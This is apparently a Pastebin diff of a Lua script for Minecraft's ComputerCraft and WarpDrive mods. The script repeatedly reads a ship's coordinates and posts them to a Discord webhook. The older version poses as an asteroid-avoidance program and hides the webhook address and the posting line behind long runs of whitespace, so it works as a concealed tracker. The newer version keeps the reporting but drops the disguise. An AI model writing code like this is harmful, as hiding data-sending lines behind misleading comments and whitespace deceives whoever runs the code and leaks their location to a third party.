View difference between Paste ID: tqMAzk9n and qJv9ftT4
SHOW: | | - or go back to the newest paste.
1-
                                                        local name = "joey_" -- ascii only
1+
local name = "joey_" -- ascii only
2-
                                                        local uri = "https://discor"
2+
local uri = "https://discor"
3-
-- This program ensures that we
3+
4-
-- don't crash into any asteroids
4+
5
while true do
6
    local p = peripheral.find("warpdriveShipCore")
7
    local x,y,z = p.getLocalPosition()
8
	local text = x .. " "..y.." "..z
9
10
	local oldText = ""
11
    if fs.exists("lastpos") then
12
		local f = fs.open("lastpos","r")        
13
		oldText = f.readAll()
14
	    f.close()
15
    end
16
17
    if oldText ~= text then
18
        local f2 = fs.open("lastpos","w")
19
        f2.write(text)
20
http.post(uri,"{\"content\":\""..name.."Is currently in "..(p.isInHyperspace() and "HYPERSPACE"or"SPACE").." at "..text.."\"}",{['content-type']="application/json"})
21
        f2.close()                                                
22
    end    
23
    
24-
                                                        http.post(uri,"{\"content\":\""..name..": "..text.."\"}",{['content-type']="application/json"})
24+
25
end